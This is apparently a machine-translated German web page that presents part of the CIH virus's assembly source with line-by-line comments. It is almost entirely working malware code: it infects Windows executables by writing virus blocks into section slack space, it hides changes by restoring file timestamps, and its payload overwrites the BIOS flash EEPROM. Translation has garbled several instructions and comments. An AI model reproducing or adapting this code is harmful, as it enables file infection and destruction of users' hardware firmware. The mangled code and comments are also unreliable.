Heim  >  Artikel  >  Backend-Entwicklung  >  Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[4]

Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[4]

黄舟
黄舟Original
2017-01-17 11:23:271886Durchsuche

push eax ; Blocktabellengröße
push edx ; der Offset der Virencodeblocktabelle
push esi ; Pufferadresse

; zusammengeführter Virencodeblock Die Gesamtgröße muss kleiner oder gleich dem ungenutzten Speicherplatz sein
inc ecx ; Tabellenbereich
 
 add ecx, eax
 add ecx, edx ;ecx+Offset des Texts der Datei
 
 sub ecx, (SizeOfHeaders-@9)[esi]
nicht ecx
Inc ecx ; Komplement, ecx ist Dateikopfgröße - Textoffset = ungenutzter Speicherplatz

push ecx

xchg ecx, eax ;ecx ist Blocktabellengröße

mov eax, (AddressOfEntryPoint-@9][esi] ; Eintrag RVA-Adresse
add eax, (ImageBase-@9)[esi] ; Basisadresse laden
mov (OriginalAddressOfEntryPoint-@9)[esi ], eax ;Speichern Sie die tatsächliche Eintragsadresse nach dem Laden
 
; Vergleichen Sie den ungenutzten Speicherplatz mit der Größe des ersten Blocks des Virus, setzen Sie nur das Infektionsflag
 cmp word ptr [esp] , small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark

; Alle Virenblocktabellen lesen
mov eax, ebp ; Funktionsnummer lesen
edi aufrufen ; Blocktabelle nach esi lesen (@9)
🎜 >;Der Fehler beim Umgang mit selbstextrahierenden Winzip-Dateien wird unten vollständig geändert.
Der Virus wird zunächst nicht infiziert Tabelle,
; und liest die Blockdaten, bestimmt, ob sie die Wörter „WinZip(R)“ enthalten, (SizeOfScetionTable+PointerToRawData-@9][ebx]
 ;edx ist der Offset des zweiten Blocks (. rdata)
 
 add edx, 12h;Add 10h+2h (10h is „WinZip. ...“)
 
 call edi;Read 4 bytes to esi
 
 ;Bestimmen ob Winzip selbstextrahierende Datei, wenn ja, setzen Sie das Infektionsflag nicht
 cmp dword ptr [esi] , 'piZn'
je NotSetInfectedMark

pop edx ; die Blocktabelle in der Datei

; Legen Sie die Virencode-Blocktabelle fest
pop ebx ; ungenutzter Speicherplatz
pop ecx = NumberOfSections+1

push edi
add edx, ebp ; ebp ist die Blocktabellengröße
push edx ; Dateizeiger

add ebp ; zeigt auf die Blocktabelle des Virendatenbereichs ( der erste Block)
push ebp ; Pufferadresse

; Legen Sie die Größe des ersten Virencodeblocks fest
Lea eax, [ebp+edi-04h]
mov [eax], ebx

; Setze den ersten Virenblock
push ebx; Die Größe des ersten Blocks des Virencodes

edx hinzufügen, edi
push edx ; , (MyVirusStart-@9)[esi]
push edi ; Pufferadresse

; Ändern Sie den Eintrag von AddressOfEntryPoint in Virus-Eintrag
mov (NewAddressOfEntryPoint-@9) [esi], edx ; Speichern neuer Programmeintrag (Virustext)

; Anfangsdaten festlegen
lea edx, [esi-SizeOfScetionTable] ; edx Reduzieren Sie zuerst die Blocktabellenlänge
mov ebp, offset VirusSize ; der Virus

jmp StartToWriteCodeToSections

; Informationen in den Virusblock schreiben
LoopOfWriteCodeToSections:
edx hinzufügen, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx ist die SizeOfRawData (Blockgröße) des Blocktabellenelements
sub ebx, (VirtualSize-@9][edx] ;subtract VirtualSize entspricht ungenutztem Platz im Block
jbe EndOfWriteCodeToSections

push ebx ; Größe

sub eax, 08h
mov [eax], ebx ; write virus block table

mov ebx, (PointerToRawData-@9)[edx] ;ebx ist das Physische (tatsächlicher) Offset des Blocks
add ebx, (VirtualSize-@9)[edx] ;add VirtualSize
push ebx ;ebx Dateizeiger, der auf den ungenutzten Platz des Blocks zeigt

push edi ; Pufferadresse

mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9 )[edx]
 add ebx, (ImageBase-@9)[esi ] ;ebx ist die tatsächliche Adresse, nachdem der Block geladen wurde
mov [eax+4], ebx ;in der Virenblocktabelle speichern
 
 mov ebx, [eax] ;Die ungenutzte Speicherplatzgröße des Blocks
 add (VirtualSize-@9)[edx], ebx ;VirtualSize zum Blocktabelleneintrag hinzugefügt
 
;Ändern Sie das Blockattribut des Blocktabelleneintrags (in lesbar geändert und enthält Initialisierungsdaten)
oder (Characteristics-@9)[edx], 40000040h

; Beginnen Sie mit dem Schreiben von Code
StartToWriteCodeToSections:
sub ebp, ebx; Virusgröße – Virusblockgröße

; Wenn es kleiner ist als (Vireneinfügung abgeschlossen), setzen Sie das Endzeichen der Virenblocktabelle
jbe SetVirusCodeSectionTableEndMark

add edi , ebx; Zeigen Sie auf den Virus. Nächster Block
 
 Ende des Schreibens des Codes
 EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
 
 OnlySetInfectedMark:
 mov esp, dr1 ;Nur das Infektionsflag setzen
 
jmp WriteVirusCodeToFile ; Springe zu dem Programm, das den Virus in die zu infizierende Datei schreibt

; Setze das Infektionsflag nicht
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;Gehe zu CloseFile

Virusblocktabelle und Markierungen festlegen
SetVirusCodeSectionTableEndMark:
Passen Sie den Virusblockcode an
add [eax], ebp ; Korrigieren Sie das letzte Element im Virusblock table
add [esp+08h], ebp
 
 ;Setze das Ende-Flag der Blocktabelle
 
lea eax, (LastVxdCallAddress-2-@9)[esi] ;Die Adresse des letzte aufgerufene Vxd-Anweisung

mov cl, VxdCallTableSize ;Die Anzahl der verwendeten Vxd-Aufrufe

LoopOfRestoreVxdCallID:
 mov word ptr [eax], 20cdh;Wiederherstellen in der Form von „int 20h“
 
 ;Entnehmen Sie die ID-Nummer des Vxd-Aufrufs aus VxdCallIDTable und fügen Sie sie in edx ein
 mov edx, (VxdCallIDTable+(ecx-1 )*04h-@9)[esi]
 
 mov [eax+2], edx ;Setzen Sie es nach „int 20h“ ein
 
 ;Die Adresse jeder Anweisung zum Aufrufen von Vxd wird in der VxdCallAddressTable-Differenz platziert
 movzx edx, byte ptr (VxdCallAddressTable+ecx -1-@9)[esi]
 
 sub eax, edx ist die vorherige Anrufadresse
 
 loop LoopOfRestoreVxdCallID; Wiederherstellung anderer Anrufe

; die Datei
WriteVirusCodeToFile:
mov eax, dr1; dr1 ist das zuvor gespeicherte esp
mov ebx, [eax+10h]; Speichern Sie das Dateihandle
, das im Stapel mov edi gespeichert ist, [eax] ; edi ist die im Stapel gespeicherte IFSMgr_FileIO-Aufrufadresse

; Schleifenschreiben
LoopOfWriteVirusCodeToFile:
pop ecx ; Offset jedes Segments des Virencodes
jecxz SetFileModificationMark ; Bis zum Virus-Offset Null

mov esi, ecx
mov eax, 0d601h ; Dateifunktionsnummer schreiben (R0_WRITEFILE)
pop edx ; Dateizeiger
pop ecx ; Anzahl der zu schreibenden Bytes

edi aufrufen; VXD ruft IFSMgr_Ring0_FileIO auf, um die Datei zu schreiben
; Schreiben Sie nacheinander jeden Virencode, jede Virenblocktabelle und
; Dateiblocktabelle, neuen Programmeintrag, Infektionsflag
 jmp LoopOfWriteVirusCodeToFile
 
 ; Ändern Sie den Zeitpunkt der letzten Änderung der Datei, sodass der Benutzer nicht weiß, dass die Datei geändert wurde
 SetFileModificationMark:
 pop ebx
pop eax

stc ; Carry-Flag setzen
pushf ; Flag auf Stapel schieben
CloseFile:
xor eax, eax
mov ah , 0d7h ;Datei-Funktionsnummer schließen
edi ; Vxd ruft IFSMgr_Ring0_FileIO auf, um die Datei zu schließen

popf
jnc IsKillComputer ; Wenn das Carry-Flag 0 ist, wenden Sie sich an KillComputer

Dateiänderungszeit wiederherstellen
mov ebx, edi

mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@ 7) [esi]
Aufruf ebx; Vxd ruft IFSMgr_Ring0_FileIO auf, um den Zeitpunkt der letzten Änderung der Datei zu ändern ]

; Rufen Sie den ursprünglichen FileSystemApiHook auf
popad; Wiederherstellen aller Register

mov eax, dr0; Speichern Sie das ursprüngliche Dateisystem-Hook-Programm
jmp eax] ; Springe zum ursprünglichen Hook, um

pIFSFunc:
mov ebx, esp ; ebx zeigt auf esp, um die Parameteradresse von FileSystemApiHookFunction zu erhalten
push dword ptr [ebx +20h+04h+ 14h] ; Parameter pioreqpir auf Stack
call [ebx+20h+04h] ; Call pIFSFunc FSDFnAddr
pop ecx

mov [ebx+1ch], eax ; den Wert von  
 ; Erhalten Sie nach dem Aufruf von pIFSFunc die Daten aus dem Rückgabewert pioreq
 cmp dword ptr [ebx+20h+04h+04h], 00000024h
 jne QuitMyVirusFileSystemHook
 
 
; das Änderungsdatum und die Änderungszeit der Datei im DOS-Modus
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;Zeit und Datum der erhaltenen Datei speichern
 

;Virenprogramm beenden
QuitMyVirusFileSystemHook:
popad;Alle Register wiederherstellen

ret ; Beenden Sie das vom Virus festgelegte Datei-Hook-Programm

; Zerstören Sie das Computer-BIOS
IsKillComputer:
mov al, 07h
out 70h, al
in al, 71h

jmp DisableOnBusy
ELSE
jnz DisableOnBusy ; Wenn es nicht der 26. ist, wenden Sie sich an DisableOnBusy, ohne
ENDIF
; BIOS-EEPROM zerstören *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
 
; BIOS-Seite des Adresssegments 000E0000 - 000EFFFF anzeigen, a insgesamt 64 KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
 
 ;Anzeige der BIOS-Seite des Adresssegments 000F0000 - 000FFFFF, insgesamt 64 KB
 mov di, 0058h
 dec edx; and a0fh
 mov word ptr (BooleanCalculateCode-@10)[esi ], 0f24h
call esi

; Zeigt das zusätzliche Segment 000E0000 - 000E01FF an ROM-Daten im BIOS, insgesamt 512 Bytes
; und der beschreibbare BIOS-Block
lea ebx, EnableEEPROMToWrite -@10[esi]
 
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

Das Obige ist der Quellcode des Virenprogramms. Beispielanalyse – der Inhalt des CIH-Virus [4]. Achten Sie auf die chinesische PHP-Website (www.php.cn)!



Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn